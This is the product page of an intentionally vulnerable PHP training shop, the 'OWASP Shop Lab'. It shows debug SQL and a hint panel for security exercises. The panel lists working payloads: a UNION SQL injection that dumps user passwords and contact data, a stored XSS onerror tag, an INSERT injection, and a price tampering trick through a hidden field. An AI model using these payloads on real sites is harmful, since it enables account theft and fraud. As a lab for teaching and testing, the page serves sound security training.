SQL: SELECT id, name, category, price, stock, description
        FROM products WHERE id = 1
DRIVER: PDO sqlite3 / PHP 8.5.11
SQL: SELECT nickname, body, rating, created_at FROM reviews WHERE product_id = ? ORDER BY id DESC
PARAMS: [1]
DRIVER: PDO sqlite3 / PHP 8.5.11
Mechanical Keyboard - OWASP Shop Lab (PHP)
OWASP Shop Lab (PHP) mode: vuln switch login
Training target. This page is intentionally vulnerable. Keep this deployment private - see README.

LAB hint panel - product

  • A03-06 SQL injection in id
    ?id=1 UNION SELECT id,username,password,role,email,phone FROM users --
  • A03-16 Stored XSS in review body
    <img src=x onerror=alert(1)>
  • A03-09 INSERT injection in nickname
    a', '', 5, 'X') --
  • A04-01 Price tampering via hidden field
    edit name="price" to 0.01

Mechanical Keyboard

Accessories

Hot-swappable switches, aluminium case.

$89.90
30 in stock

Reviews

anon 5/5 - 2026-09-28 03:18:03
Nice product.
anon 5/5 - 2026-09-28 03:18:00
Nice product.
Bob 3/5 - 2026-09-28 03:13:42
Arrived scratched.
Alice 5/5 - 2026-09-28 03:13:42
Great feel, a bit loud.

Leave a review

LAB